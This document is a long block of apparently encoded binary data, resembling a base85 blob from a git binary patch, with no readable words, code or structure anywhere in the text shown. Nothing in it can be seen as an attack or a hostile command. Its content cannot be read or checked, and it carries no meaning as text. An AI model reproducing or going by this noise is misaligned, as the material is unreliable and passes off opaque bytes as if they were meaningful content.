zCGZ)NFsaP9xZN_o^I;UW&<%x34qAU{Z?n!V1 z2OlKY^G0G0PJ`}2W$OS)O6YEniOp+#L8F&Na+OTD0WDAg%i%zEiX_#3q13*T=M_(jj$^aEQG<)mKE9k&_a=9_CXw13z6!g?-86xyz)`ds)>!TK``lQcqBd9HwVB3TgblAr-3MUV1>;x zub9*PI>dc<;a0EoqRzSUwzpX51m45`&6e*pO^SHcF$*%~Sw`*~DMTQcB4PSLWu8zf z1Em*97E(lYCA^1H!`)1rR%jwtMwm`L>XtCH_BU+}P&E6_&kZ&EW4(*O$&jv6x=8XK z*Sp4vtky_XkoPN#>nBu=p^mkcW(`{aG1}jpyf>CI-7-$fxcGuZJP5_}ZlEO%98H;% z%RyG-3PSr?A1{%&o`lmcvuk#W__?w7!Z5XT4A?WXmm#xEh$WVVG;Heuc|8AoKVtE3 z@^UB)+7aa6JQkozM>KdU#%|#zYa}D_J!pbN?76}5ulrrc_&?j;UU2!$!nD_G!`H|DN%bL;0n^&_a(G)de_1u64_*Nb6Z=1EEfe*z3yO$EEj3>l+OPL#Y=g|4ydCQT5K1 z#L3=}*fXf2Bo&pLVn;9J{5?WuMRHERpkYt(8IKbWooi)>$Qy2<8jX%s)_Sy-;rK2o zrHGe+O!sWZ${|X^@C-x~le62`s{LI|ps&&Ao_9!A>ijnP#r8XI?A2J7Ewv?~l1tyK z+O36X|JAps%;qogRwmvf6ZyF^#8uVF7$%&ZDI6?_M0Hn}!KmW|y#hKz{^lI}KvCx( z*^SV+_(#r9*j!3oeRmjV6hQ;9`hevBJJp4Tg*A?vY;Ia|xDD9K37JTi(+sSBp=JLb z0ETsB#xKN_pDsO;Eonr*^%bW=z}vM{m;Xt|_5z6k2}=(Ocl!)L z7~;$Ptz)~}yGc~hpp7@Fv~tLV6fKI{mVriI8HvPJI(x$RBqP``{-fobRcj4tZBcXC z6nxv8`wZDo%N7V`M7p7A`^&$ZrG9PNA%{}bXbU#6@PrBirF${P%KNt~$1ns|%;a6H z$u*AuKoE+9bvaM<#>Q%kQbP*f#e+fvEDe+c zgL;TPf~|hx zW8z^Ti9QG2YkZjIIvc;@b(!LF{9W$$eaJCO&uDOvX#srQOUMIRL4Ku^z_1FBm6v*5 zSWRI&J1an#L2`q&oQO=zlReymuaFX{?~I&Z2oM5Zxl*}1rabFhfX%(rynNu*hK9>C z{MCUbvy?zwOY&qHmHU@l5oUn~`PyH;n@?6-WzQK3j(wo;{+asV@#6tRM(9Q^ZE^uU zRj3+AoYnaC)I8?BpNr38xwxL0Mn9$%E$2`u3&D<3*)^EZJRdu@+sk|3L*rURWKEc> zAJ7vt;xUl>v*UM&$_^SnHbde~CWNzbuN49x{mr+*h6hQpOICDqwsiCRt8c74FrQ3(^lH=yB0Sw?VAA~y^VN^2WV5I z*f+4mP)F)pN)~5LG&G8dQBifWWa9Xxo$3a04b?_8TSNLHL`14I*dwdyzLM0 zYOHdrP`$_vgE5^6yQ6Lcb9`q#OOZd_H&>xVGYo&Y8&q>u31+&Hw}|k8sjz{^Ox^r3 z*>mqxmr4)FR>9FV{^jaF2&p+}dx6kSx(b37a9EzQ+lbL~B9Q43QR{u$XXWZt_(1hL z_L4w$7|+j#{j;oCk6-e=Kt*tnBxca)pE?>2b#lz@?fel6AJo1sNU#aj4O9u?iKbiY z9n+3KZnSkcj(PYP(t_?Vv|b^XXS)I!(u`wqbU)PrfBu4ckMw0mHsTD6CN~I+eM%N} zO8?}j4Jz2XEr^@T(9!Vl0^{@6$^?p3wY;D0&pod#ZfLtSp{bc$7KXynMUic>Da-6BIJX{AoJjT`f0^Lm?N^B$j@Y(5~39+ zDHa~70&L!p=guIT1$dJR2{LNd1k@*OH{690C56@Lv~{~_dv9;PAG7Pf^h+M=K>$;2 z;Hi_pR`V#tG(b2w!eDTq{Wz2M^u|~q(RsOqN~c&|VPa>l*PB5G_iq4mxP#N6h6`eTn1~8}xw09Zi`)Q3kPLG0FM0Z?*!!uh;9 zF$cu@>G~3|cdGRYxQn)2`gF_0(%(Ub1+W2g>(zfJ_RA8=weaMmfG2zC2 zS9R%t=%83zc#%!kfhSl|WzXl@6U(ZZ$r z435{y1WN|VY(=pN?lY?lD#|N{@({Yy^+&Cb+QSulenX2iKBHU~F_a@>P)MKcqMmQS zmFLsgz(M95{P8jfv;iNKw>b~$Ien@%Bt0b%hFOK*%o5UrcP>bsBn`W$Vi||>z}g`z zhd2s?ZTA_IXg&1CTWzVOxwXBMbRR;zj~*aW?fL-`wu#%t)YmyG+gq{L&KoXfhNanDQn6pNT&Q6{p4H8f<>rSI%+KH|jX zXPJ$w1|5@7&A#u0<@H_Ngb!|=le`VMSajd0;E`{}Hquwx_!|QUBrWz&w2n-2-S8C5 z1J2|Fr@p6Iwnr2MALV2Vow>-m^gB;aaGL`B7L(O+CS5qX<~ST7O{$vvHl*CuIiXTUiA9D zZfwwqKS0bA*pcP#Q7w>4Q&E9#&3hSYiZRn`J*J9p}8Kvdi z)J@S2vaAg0Ap>zJn@9+e#v;b%$xm+UhR^dYz4OJLo*AVWr0=Q`jK5jK726?hx)odD zqj)C^KZ)#V3E3l`=8VWvMK{I8<)HeFm-1shO03wjst)Ta(T$sAH7LJToH9fIMg}FB zfX0F z!`1Cw%43Lm-L9-^d8&`SR-T|QBiLy8c*j5`gR6D6Wa)z;zIWhTSX-IO3qwx?wV>Oe zor0Ze07K6Nr%zlm76r1X@^d~l1%}=QSUOR}sx{G0m!8CnO6EfFAGi-m0a63og4Yn6qBb;yk6A*R93idZC&pwKWG(FtESaxBDDWe-0LFXbwzKMm@>|33I~ zSU;-74o7_152sOe^88s>IO4)u686ulZSENJACcjE==TIdI>de9?nk6K3`MOzmBL&_ z16~UutcE=ug5t!Y<_3mgQ9-;T;26SPQlg$^{z>x3l_ zbPMBN_uS?2+^s^gvTI@rs8zgC=`FZ>#8te}^mk<#8I;sXJ;-*SC=b=Nvyfz;H9vaI zjcy;;CZxu=6H_*39oT25Yh^92%+S6?8g}8=DGGnz6p@* zK_CH|$KfHQ2j9WZ#qs-`&Q(F zJY63efDMArq&`bnVi<}nH)Nqt_X@L#PW9y8UVXx)y}w5?-5ZbQ0Kp_nFnO-q_wCBc z)9rod=B00<3S2{{(bk6_)w~mj!>7`2FRe7fj5II7G_p!KG0x5Snt^-oB&`{)fR@Ab z9jE&JJrldshLMjKm{qLSY~huQc}YMBr}12kXP8A?R~s`-r>HY^r$^q8 z!`T^ZH^U}g)HQmic6Q?{eQ=Z>ZaKxk*D;qlsPp#x((7iS(|AlkP_9|F*uU3XbT@mC zfXZ;cOcE{-ZsPZ(*oRV-FF}Zj+cw6Yjs+hCYj2G=a3$;t+_P777*N~ajZHKAVX65wco-~e;Z>Yt7L)i87K|db!#(Bo6Zvb{$>ixj&{x)} zGqSn}FI~o1DSHL9EbnBvGb;2s^9$-);BFDC{)lna2Rd{7;Y`{QeNSns>UrDXcK$}oA_e2BM5bmnFPuA=wODW5eF3tz* znAYIz3o!bA7wFd)M`)}#tr8-O7&6xuv3EtKje`2)WsD&+tcrsnwI^~v|2`Gm|CC0Y zfx`rS#wXf_0pSJ)skEcUDLyoyWl(cF=TZ&Vnxbzf zm;oMB)d>YC$ll^+bxn8o6D|rT1H7L)ucxqII7!&g)J|HmlT(n3eMdJF_uG_R}^4QuH-1-98oVrE6O7>>QoA2%Bl?*XWQQ7GWb=8Y;ov}|!wahMs zCh+_hU+eEUdFvd=!S5W`$yH|vOaQd)lTfCJI7v<)toJYl&c?3MJ8RqF_XhBbS%GwMB0 ziB@?9tH}VEbQpQ%?%(hNZ0uB7%KSV%m#cdttcNv`NVC=2vPAqc|I%dzBGLI!jnV98 zIu?f9oyDwpnTn%#`|a4IH}qpy{uC8_Rl!-Gr6fqbUwOpj-Y$e^c$ZGiDDlnzs|>_C zp3)T8qYZ75rT9MN^;6{2#NTSy-o!^%C&S<*6vYkhPR5PmZefGrqZCiKt8mTMq^V@} zGQ7!)UU5L10YteL%8c@45mmd=JiN=}hUx<2xvyZiz?9~X7OmvkM8i1@P)cN31*O-N2{@e4fa zRs^Ao`?10ExMyjJ0on{nkeG~_u0+DZi^gd3e=M_oaauCOC-e79cEs;`gU#)4-rG>l7o+gV*knEiJHC{L-f3tbyH$wio( zVV&TvL{((=s|=m-SAiET^LAwkn14Tmo)vb}@F~cF`Modd`zhv9;3^2EtFACOFI$?I z-zS|muj+{lk6bN{bmQ6eXtv8yF;T9QrML2rrz-ReSe4e_V1S6j!}@3^ZJJKX`rs)J zU04R3a}A=5PV=JOnUesxd5v76-$dP7>~F3uhL{UBMeN_{9$N3r;DjXzt!zNQCG@KW zxlXDWcXU0S*ZVx|^z|8ZH2;{v;8oY>{}BqM;{RByR#g3i5E4~CaMf`D>7@L)C(<%k zOCPjGF%=>`#tis-0WtuUH!iEO>_t!pjARb03Y1`U_@D*x`eoVIYD(9hNA?6>>TVh1 zTrvWWk#gQBEjCGbp?Ft@35roJxtY|_lDez=pgAF|q#!DkeI)m47@~}y^ohC)VNZso zBt!WF5EAH?wnd2_F`;*0kPfDzJJC%C z;esV;E$VBb5TKDjbb#7!vp`#Jo{?|dN^3$XF&#LJ;>sKc6Sf*SD*m(f?`<89IYK0_ z<^gnh_&1yQL&?8_EM-0T_G#{Vb9O`ZCzUNBsfCHNGx$u?yk2%k5HcFgSyEPFep>|y z+8>ot(wsm!#RQE7QC4i~(jflduYu2jL3`M+=PnWoqoiPVs@&$UCD!?b<#2)Daf6HM zD8~^bluKt|xphb}IR94al**$fO{C<`n|-CmDic(_lYxf%rOFEkW%&PZ5jG%#MbnU0>FB*|Rd zzGWHW(-*>g$H6DqQWZ!AL;iRnqXy6TZG=V)=K`Y=bC-bpG!1dZqtPgKn+};J`251O zWU;apfjnsR-HHoc;V96XHS6`&KtJZFaQUpZIHjw*`&Atgc3vTOs*-chWa%1gRO}{D z3uFwqD0G@N9QTtivfhh*OLrQrDZ&*Up48*v@$r!WuVBrFj9~~7RjIuOX+#7R_%n$w zU|bgCLuBd%B>Wza!zGwX{glVZMP))qGI<@#jDy2{-~?Np&NmO47MoEOH_^?m*N|d9 zfM8Z-+5_xqZ8SKo$};|DB2cCX>JD4_wk;WG&g+6$oS{6jj&)&wqcX%Kk_=Qifs=`^ zc!cNAWO8q(^*BIv{6kx1$!h0#;YYCL-dK;}qQi>R1!~`L02I1I3FEBqEc$KvSO0HT zHypu^jhF+2{%NMyy?@ta*EM!|MO!#_Wl7mXp7G$q(pvTL|57~;v&W+UDhywRvB@5b z$uH&q9!5yLC}-;Yo}3MRRKXBOUTn4tb8=!9xzviMi$(8+}UPuw=7n`!o+K(1~t z)8N0ABc-h|LH@ITZ825<>r$z=yt?pp|0}TnbZPR~Wjg#ffYCnF z;y;j(=ZGfKlG*LOB5(wRv8;f6 z_9#u>sSV)@y=Yk4@-E;O=e})EU3qXX9@(qHK;W<@`Al^@uDj&8OuAeEKi;=4fnc8K zTLVr+P4mpT!a_HA_S9FTaCjFKC}IXf5*)z7P)H62_Z_AbSKlmQh}`4mr4UdI4hEYi zbt&2a3PHJT1i_{1d}ED1Y%ssIBDQa3(qo*2YpDkr!k4`%Ep~^0JJ0tcXLGT_>3`QY zF%bsjZM$-5t<`M2@@#zrx|rGP#6yNkR zYN6h6)A`+~Rq0vj>KBkc4*J~#Y=de&%hcJ@%1%!AaR;!~7ChxJH% z1={q&_-kS9knCg|FlBGyyQ|7e=4NYX6@qV!147|-VnFJ3WPr$5*d7s-Bmhdj9QKY_ zuvMptaL}T=w-v820P(7~2ozs$U!t>`*M! z$xV{qs6FE8)Mrr+wdocML2XPp1-Y^ifn>_bXDFATR#~kAUR)|TvjuCV zLz4Pde9*nEfxflF9p-Jd3?A>M{Hc!VxncgDKfqz`@Bb8mao1Hn!NOh(g_GuV%AVjY z8BcbsTo0kFL=3^0=aRhH{PGMijgIVQHrV?P;S4Ysf|&;&`>@JDU7L>I-t4=s3ui~k zp8XKEJ%Fu`=z99ZohjTD{)QL<)mn6S=73`LP8*Fv1k9tZpl-uIhJ6oqJ=N8u~7sOGNP^&3Ep1VS@EZRNsluI8Jor)(=l1Q?|=UzH22~g+#fOiTB(hdzr6DOp; zP>D8%(n)rVaOkD*H=0$C#-HHUWuc=LQ$Us0iH1J$35VT;gPx`MElqOpofJ=6i)P^X zz{kI8%OrnFr4!v@kMQ`8J=EixXsS}x1uEgFJfU(YBa{|#E>H+@sb}Z?$aU2VZ5KB6 z(?q;427|>HMco>zE{nW5f@cvfIsjSkhvEM^`6UWStsVUKl^DqlDzyp>fD6>uLf69B zNDUrmMxg7_HXT?5NdMrCTrdfwfhws1jmopacIexuGY!M#Wed1bdx7^|z<#-&K5+R= z(%*2Q{#jVvs;$Gr^SFLnGu3&t`F8(E3d?Wb+mfx<=V_ONC)B6@IHcFmpNPS0#d9Q!tJ zzK?K$4L#_(A5)!Hvfw+kC4fMTw_c7_AFilSSm9c^ezQ^W+DNN_i|$IS(OoD!>WKH( z3%x^fcLz6osp;NR-D~Ku{Ir#Lt^6GIF7hoKweaF(oN6+Vqpq~KUj&{W%-dcLEe;_t zBy6}GbP5CWQ!A;n&q>0~zE>za5Q*2UTg@b)>UvOHRdSVFKnONL@70goQj6?8j~S!9k039qj3{DC&7a6Vz@b9LKs*M6{FF~LfAhnsDhN6wzG6O zLNGn-{XH-##9f<=D+4}MMjr6EP{5Spx{69s@xve#7rW4p^xPUe5CX!}zH1DwiRkq$ zQRU>@n_zeaxJWT_?!_D6<)lABA)=>V{pk)#N~m6H#Lv(k$Ot{6>Ktf|!2X`G-0fjj z2`DvokeL#P-$MU3b$6$s1dG+|50?QEDp*9Sm(^W(8xyqQ>J5xrr;mWso$KUQz{!Tqo_fj|fZ(`DHM_ z#cCx9n%<3aKyU#5O$0M3Z3uyAw)O|LXRtYg2_griYbwyl0_K)=@I(kY2sKv)%?R5! z-!HbTG|%l@pWDD7ul+XFDdj3eL-{O~ipgArW>JdiU~yV6yIyBtTlp=d>$>V4g0J)k z7z1LHn?*~3bk=X=v=h1YJ_&0mn;aFGJK%pOaS(-y7QeIs0|ANrTGjuvqNhSZ15kl# z`by{`7y_nWNfDw@en~I9KuTlBOI(4|vfw2b>N3}aLhp{b^Ytd4Gp!(B8U6v__%ZXp z7DN}%L4Ds2V9)MwIh<@c+T?q@?Aii?Fc>q&fu^C=d5s%){@^E)VUX7LGOMAv);5tb z(III&e6fF1CDCAMf}A}Sk%L88&^Oe#qdYHy6IxM-8d!%`u$R_=cT*+*WxPRSbwUkK*KWla;;Xbl@q7_gp0Xa|v60}sFe zwgOVHjP#|G-g;5fj+fjFygN}T@(MWDV?RWjY~cwVICm>9Jw^KIGwC+rbp%s zFwgw^?1=9+C(`HS2ii>_rIl6Y+aO91Y>1D09zKV1kHk!!sdNLW>!CSaF$Og??i zerUMhM-4lbFEdXrb9}6TUqD&uyg8%9r@zBqixC?hWh@vWihYZz1P^72oE)we=@{E0 zk%3QhDQI?&o-bt>X?b=oO{28{k}^64j$2nI^NDB@h^07hDS=0mOxz1pEvXFZQxTcS zLBFn3ox6wuoT?@w_iGnB7>>AC! z2-8Q!28Cl$w;`f|CJ-`6JqTk)mumzSi?hwjoqQhfj?O#h6zYGz^dNU;UbH9QbuYCb z=#z*F_D9U(=1}1Bz^m$LKNtA<1mDfm3`@|P+#dtc*vVAJQ${KBf~>N>54 zg_>KhfCO{Qj@X&PkfkYOSrN{bQ|*1si`}D-S(PYmyIX+4t^w%6+Dn;ZC_zmJZi?HTgVOI7JKW%kS1xOTN9?6c z>8UJ;F7U1Q8Tn~j)f z!(ALK0R=wCuanE?194qFhn0>^QR@PJ>o_}6@wI%}T!)BNm=9Yg$IB{D0A+CttL#}gy<1acCR-p~a>HCw1ZJwvo7pU`hM<#38K z!i&iiC^Do!pl(h07gFVbNCVK-mn%xkRq1pg(5XXsUHcpP)GXUpIUj8R(`c$!N1*x!S)_HsbOAaTKqEL@;1Wk)auafP+_^pk3xe1Baeb_DYFfITndOBn*Zq1W8hja{72}_Jsa>3g|6CrEdTS z0fIb3|L>h7$Nx+T>RS#N8Wv+n;eehF&LwN--}o;Y1LFLRMPcE*EKChx?iCL znX4I$>{sn8sf23Cxst((=}sSt-n-!%2`)P^SIa8vFKF}{y;%X}{A${lp&SjTS4>X{EGZ^IKV1NGWOx6aP-V& z2p9=nzv40%Vyx}SAZ}?eujr87o`%dbyu1kb37j4CpD!6bjonSQQe4o{NX%vM)L24J zYp3bs=(5-rL#Owg=*JmU_zIduNB?`ztq4PK*$jRoG7Ot%m)Xw}Ye#ER__6Y(X>U9n44vMYN9?K;^Ub>uh!?eekXp`yPxLi@wJp%4P8dvTy4guwnz?0x^ z2NZzA8F!mh%Z=rhBxwcOTsDOV$08xvo1*%vNEs! z*MWkV>=jy-Sn2nN=nZako7$hD@z~R^2si0z|DJm}&1X2vtAuNZal0E0x&q`Tq~+t3-%aG=v*H@*0FO`~UOc)lZR#v><`$+C?= zMN{X_O9d7CjQj>=at}`yb-Xh9ELeNt)^i2e`rxnQp4V9FE5FRF6MY^YQ^sWYY#@zQ zz>q%ljhG<>(sy{{&axVLgf4fHw`L`^RBnvYx3f;V^bWfB{`(zJx{32K`;yd+0`TSQ zn|tij_~V|JmN;#vZ!n@WWIk{b(e$dq+6$t9{d(*?BVr(&UJcTo} z(~FL3eNaLE-PswG1~J9a-Edp*L;S?G|NX~g=@r)~juUA~&{H^>2LW{%D zs{|{qj}ZvRjGO+B2LTa8AnUWxY6IVXX)ArNX&|9P>t#zXA}-PVr}LB9NW+ffC_nxs z5SDG7D5iB|@Jmi2M+?T_Py)jd$&RbDODjCe>Ix7M8*1JXc7dQe^)_~n(A_RYAnu~#6)`TW6uVi5o{x&~Z`lr(eoXIhy!T3W zv;mWHq-j~r;~J{tG1Cx5_~46KgS>`mTf#t&wJ>S+F5zbi02XbjE2?Ld8ird0JWXEo z6NfSzdpRwXd@~|E30G(i&V6e1m>$1ZP1pSz{`Sb#mi(- z-=O~cJEP0ugnEDi0r~c&bMqx4^Z&uge+$Y_t!E$fAzc5Z#Ew(*m>2|3s>332EG9Th zAP9IxLbi5Kt^SCxcooC!pn*1Fxuz2drPVBjKq6;H<}{m~>S}$xu!!|;%5)U*%h8of zZsX;dwfP8vQ{hqi^I@h#=U%o$XZrgiP^cN!h}wRvT3vdWb{HTADgkMUxeO-@M*wLK zIYpDEc2yqe0yjzTso0Z>@lE-vJrElM=&REc#cH5B6I3*F%y>+ z8T3>dUG+yht}3dBOZ+zDyFu!;!VFMu5TCAbcg^IAaK=|_@KIg-%8%tKAX03&A?YO# z=R+D{3u8j>d^s+P&ObW0q|l#k&ywz8`$+UJcHnzsv>}w^(Ig?uJ3a2@u%{Ln5PWg> zx!rh(p+lWj7OmB7jODET0!Qj@JRP@9dD4LVYY-d{Ge&e&=8i=3Th>C2j zfFsFZFx`H51fMQ*5rJF`RS06DTHl{!Wr}2qSOR+3eMpXh3=x5Q;N4oSSnyLD)#7B) zOl8rGJ!038dA?qld;d7@bE3{LyaaIiO6uE;BjytO8|)ILYfE6tWO+Kj+v+gNEPe_5 z$vU~FCdV7@rOgw_twNH|z`h~-8zvWrFJ2#>U{K+9_WYHOuVPSz zPLZgp5)$HPw>cskQ1l}ADK+?D;)FDLcITn>TsL`wGQ!domO2mh*RrUy2m1m=4y3@C zy#4`UrDS|4ly(O(>=%|q?B|^NQ#-^0-X(603KP1I8nTXK+-0OQGwGVYDiT3J0rMVV z;VKp;ZmT1;k~Kz(UMCHoZ9HA4DsVs|-OdE6ukvqYNYr2%P!;WgQ}SR_1G!W9?}D9F za~>~~afnTqYwEkyWn-7Pd0vPS)`QE|5JGX@!-cN3@I6N*_HQ50n$JDRg~ICler?~3 zhCCZ59W#T-vKk|N|8rZm$rQJ!ko;^#d93?7^Fu%AlR>aGLWA<}+uWQt*Um7z31}F_ zKh^m@rBKK%fx%~e`_RK3g2=S`5^^TY7@ovESXnp-4KL!EO2dMAPvUJ#C4x2M)a<#( zR}lw-GbiZ!f;GL=qJlH$==6RjKc&VCs0ErUA~)&p+8_&Tle9+~;o&r|hHw_*Ycd-uRhUM2*`l*6Z8G zeGR5RF2F~s*V0{o`Fr0fWtMP^Ki zRrCI9F#Dct(5CI3!3gi9@PgLTdn-<%+|xSDzgP?&K*yB)CR4xP= zYi7#S2FNQaPh3fIb`6b2B$OD7pjlH9*i+`#%!LZFO`z+PVcx-q@sM zPQ~ArBawI%jsPX-b87XB&vXS-Qq82exXqX&zrfKZ`m_5LqlRc(Ts8w)Mp{JY7-9#V z*E0H$VIy&?xlj%hLv4dc-J;sPNGs~I-%01d42(xADN&YL&{)}HEc=6z+;o}PylXw` z;9^Jr6^#qDxhC7+ri9RkUwc{7tl1O3!gGIsq+izPxrowUz-|u_AhMal9t8>?{v1xdGhsmY(Pn7cmHFVt|>{TlS`__fa z3smC|M`$@k<)$Nl6-pF&U`3D-g{M6cTBh2wqT50I7G)JU7Bagz>}Csu&%RyGMItOQ z35OkU#Cp3=yl@Bq=-}82R={Q4kTOeiJ*|(r$Mqe37q#7!N_$+>J$>ycrvfqPYF&Kv zeE$Uf?*%gu*{df56r@R+643jPf#h~lipl+A2;)+(X#kk1N(5h=A|Ey2&p#gUhz2n6 z&uXFrEd8?*7yzCB7)@0GVD6s;91R;l{9mgBJK*u3WyJ|-{dXM|51{Iwwaf>A_-Abi z03iQaM?(M4x)cH6{;Pu*2aNo)mLvhr|HhD)1z`S*2scv#^!(4bYJj5uSgA9bfb0Lz zu>)EF$A4Y9bpiYT9)5S;=>HmREC6qiu>Y6qL_D7D15b6d z1+W6Cg_)GWcNt-5#Sy_;etchejHy#-ay}d0EPTU43myaCO^*{Dw`b6ZfkQT!n#|#` z^yPnjor=o^$?2uf3wOiE; z#g8zPYUEufwD8J#!j_}_w$?~i9~G3rFXZS|G`rsq{*jPhctQlWF$i*=k)443I^Gy4 zk?MOl%O>jMfV9^`f&mzk9Y_e0TBfXRnKGft+!R%Wy!0+6Q${#VZ9E-QhrJ0mz6OI8 zi+Frx!wj{zh#=)xhUJ*O@nTJmL=Ik>41D;GG5W)1HAP51t^>K?7y2AAv+Q7tuR>MX zr+cg`wCF^;sdnkY`!j&l;r0*7_Fy^ik6a8Xi|q`*E<1!)W_eT-FX4kUN7e&I3h z`Tt?-O5kef-hX#)`@Zk{zM4rzX-BrwB1@>05TZiasVpH8QcsJeNGYKZMUge4$P(JK z?}ZnU<^RmgEnUBV@5g)R`+c7Coaa1enKS2{xi|J&r0s=xyYu?rZiF0bm}V$RZS*`6 zHdAAEOT6|Gqn2B$!LubJpV|a0N%~1D=9e$_4$FQTr5HDK;!T_7qYfRM-J*ZODKa}t zsrc?WHZ z=n=j&3|NH|vHT_JuujH0|^VVe_R(^Qh{OkS8 z=4Aqj-IZ#a8VcaIy?puo4GH#^f!o7mN7T)|oHi%$s-0C(%2VOQFN^)pC11Hg&F@H0 zXcqoJUAfs3H(uz(v*vZ3v%VUUpRFt&#Z*>)37Puh^RWz5GovcM#8G7*1Pk4{VUi(K zxU)}B>L3|Hj?%o5u4yr4ahlE3&+EoWz1}>1`%BZJnTPO)!p$C>yX5O?_E6MM|LyW8 zeuX9GKWCqRv&%R$ZOF1IyzwS`PrRj5l%6gjf(?ZjB6!>{(L@gK>NX+c--3a*YT_^SbDwjL|%E-&Zk#pa}v&7 z`ESDYPss;4CSU!eUq#>bT6NljD}Gz7Y|ulmWtpS5elWUA8cVD^U?{x5F(Sa?wu@|;h zJb+7+B@5=C-XBXCy?Q40DZy50tiHLb`n%ZBC@N;kqJ61{+}`;ILu15C*P3+~uS=9! zo)(=t{p=a#x9^oMF1gzMsG{JzbmQ|E#ZxQ`%{HCe6)jb8Qp8dFXybj$IEA1MH&+g` zP`&dqI9K=j>HjucNmVTFu(O;Z@~Sud=5W82xzm@W_X>^vSXpxI+lG%b8)6q6%g&9T z6{|k{+17QI{#9Qu1nm2{*X{ruZ+P~t@zldt+4{*HLtAU^KCs>3aO3Ii8^7NUI=HE= zP|#WR=;pH1Z>9>*Ex4F}#&Xmj>6l$#;snPIeSL2G*OB>AB9`|qtPgl$_a=Dbc9VGv z4M%r4pPg$r!Xd%`RpQzdZ~t7=I%%VZdCI%KWG=k2w4qygTg7jmj2xfSQehh7ciyku zx;*VzoXVyc&G#?%S&zGSAmRQ-x3i&lesHXM#%Qg%v|{x&(eok14C|CGz3P3USG3)% z_FkOoyzbFDvppk{rVaCHGA_~iQ53A(wKeqMy#MY7`=l%rt{FRS*D)r33_Ms^Px2iYKRPDMR>Mea{rs~D_ zswc`7t_nRDL^wUXwa7MGgt)w$liZry=Xo{IzG(wi+7e+^A` zo1(N^vDiA^y)HYyWQp)H%}#2=nTnkq;x02^)iuSoKDXOBR131RLR2kmzj&3-EB~>s z?yY`BK_L7*vPkw-$y0R+9|n4 zYeo3s>m{f4PFd+^SuXgra9^im;51Se6U6m|XGrwuV)z85lpcX!QXhh~! zyCairuI$Z!yK?0QjmZZehp5g=nYQzsN9d44gHBUs&X=QCCC9uB@+;U8|H#GbewBXQ z$_YjgG2NrB+o34-b=}T!(+{jH4=fe36Si7a`Mih{{MJ~yt7eWnjDG54TcPiNx4yDa zEq%mnrH$u8Cn*&lDc`!vJosXH(&zHSPi7|zlQ?xujD@n@X)uV}}8&4!D8gKCz z87$T^zI{R3(7;gt(R*6*^5#t!7_ocGk)tjl0o~0vIwl6+C@ZY>KYP}9nf9#78q?|z zXdKnDTS=MKG=w=ObQXVDZhrjn%A>{-1qR>7HYUxe4S@-UbBw>=inY%@`Fx9ue#Vz^ z7O%Ejc*SKd_?fxto_2%2yNFtTYR!MWS4zL>PE&}yabX$v#+HK3mQ#j|H4+!|yY8G4 zbH29$$7mu_|NXWNOb14I8hI7`x86$Nl`BGhQ_+> zkMD1DY4q7()c_{nWPgiqE!-sPG%|0wz@f?%8&8qV>AhjS%R5KSwT%%d+mqEa`nGm` z{^${_Hn)$zSJ77U%HW>QAC+&E+Z^9?x&La*y>yg1kOU3(ou_FL_yG z^sT&coWc=F;_538c;0IMwRii^P9v@P9$FVitqw>Wx?ka~&!r!46^ro;ZN3Z*{k24Y zvTW3f@V0AGC-iPTF|KcTr@11r;YZ>5Dz`R}?dAKr9}&;tjZ4bR*Maj=(mt+nR9M;9 z&^7l*3#mNV=(lWw+ln4=naxyEE5E(u#lDKq zAHRQ<4$;vtK5;nvdTwOMgKG5=>AfzOv+CBLzh7xmyj14=Yx~=k(I%>m1@S?Bsv^Zj2mY&@!i_xQ9<9mYy8LAADk|IXxER;`9sb` zsx8*)@}?9Q7GCkV-<8ynxGbn>_rlwqAFO0%?J2mrXYCHX%PnI%3dQZFNaJ>zt--5u zCrKea^`(YKKVN_F$*^Nhse|`iwSaJe5oHdEEfH5w3|=3Uc=x#S`W5dz5)8a&Sr+uP zwrq);GNIa5Tv+|otv@yQ6lPXFUp%d2_P3ppgCK$bT?#unb_{1fN5@chn_&YUc0F44xN3()cGcSt ztpbfjlbV`-%sq58=}SVoyv{_A8=p?h%q^Qgy*Kh`S>xz3mx%q16O4X^fBj&bEol3F zarlQ@nKmzfzH|+L@#3{XuQr$Rxv!Lq-}qB*6HhFNlL~S9pq_B<RWPkRk_cg3fJlyY1i`_)!gM&{H79{_)Qwg@zR+>odvM0qwn zPBgJ|GMcjRL0tE#iPyf?aPEg5x&KYU;ZvTDYuc{cb9*xHA4>lf=(1K%=YnL%l%BHH zKSvGgng04pS6*WH?5=N|rmuSvU9VS|JbSuADo!#-j=T=8^Ojr38!aDuzS8pja*xRG z$t^E$Pv||ewlcqyR1bdGoml(EIr&rckj_BO& z3r9O9Z>TPBEE{#EG}on~E$L{XYlK6M#eH%*eyX zyv9G&c)Rz9@%B^d8t-=-D8=My)@(OAx$1s_rp2`O`Bxh=cTTo2^AO)w5*B;!lG)M3 zh}boaKRrG!zb~$_eRhqhT3kTbulI9RX4`bo@tnK3wr#t#Y-*-$ zyuC{*)aKZZ2hmCrqBh2wWvO#g>ng<*Hgxp+fKPHwr4NZUCeFh6&)92H09xb4ViPs(?5K@l=GydRq0Ha z`Ke%IySOhYYNG-#pHu&x-`SOSW3XeIXm(w?;e{!{`0zAcK=SdEVlZ_T`0_2g$xUE13@uVkdJHxikI#=O7XP%c`*vVbo)#;0!#6iYj$B|DPLt}kUjJoQ-dY__Z(d<{(OQxqu z`EQyy$%Y)O*6>U>q1brxCb?6k4M`s5@e>Z6O8pq_dot|4vw7T=@rU)~ssyk6u$CPOL3)@bQBIwV%B$qVAr(KXKD!PZ!P*;}uaIl@%9v zg^HgxrR3*;6>0rcWKZ_^$5}_ZKP}VnvzTeG_-RSk9E+XLe&|;mAGd5mTy@i}jJKOt zof@rAJh=Qu$5 zZke{)84Q+JG0k}R?3i!ctb(ew)GX_oj`!4}-My)|OZ_{&GbgQ&+_>bysaabrpWQsV z+_-m~$PKeX`Ln0S7*$!;&+$5Iv*!95^BKeAteo(dtW(ZrY4^J1TpBmM>D|P;?}pB9 zlJ);2c>lzmZd>h0*?T>|8tS{Yoa|gbMLXl?{m->aCYCu}o_JGY{rnX#xqb zz4iN7V<*#D&B{$erA1#l)+!b^Nu{hDf4MpMjEYNwRmKhP-0G)y)GN!Lw*_?<_!%}= z2Pb!j%#QPEKUrqCNqc_x15NX9S{)|&*P`<0m`7flibiZ!*AJK5ue4`x@=UL*%O`$X zrtW$;|MTafB%L4|Q)dO?L&I$=gu@yVs8v_(v6AmQX@3dWW_N$g$p*2l@2CA9zwxE$ zwTJ-xUFuwm`=hrIQr6q!m&s;p*DTud_M688AG1iYP3jMezEqwP&AanH@{5zn>IK<>n}g;y&kve=Wd6xJ 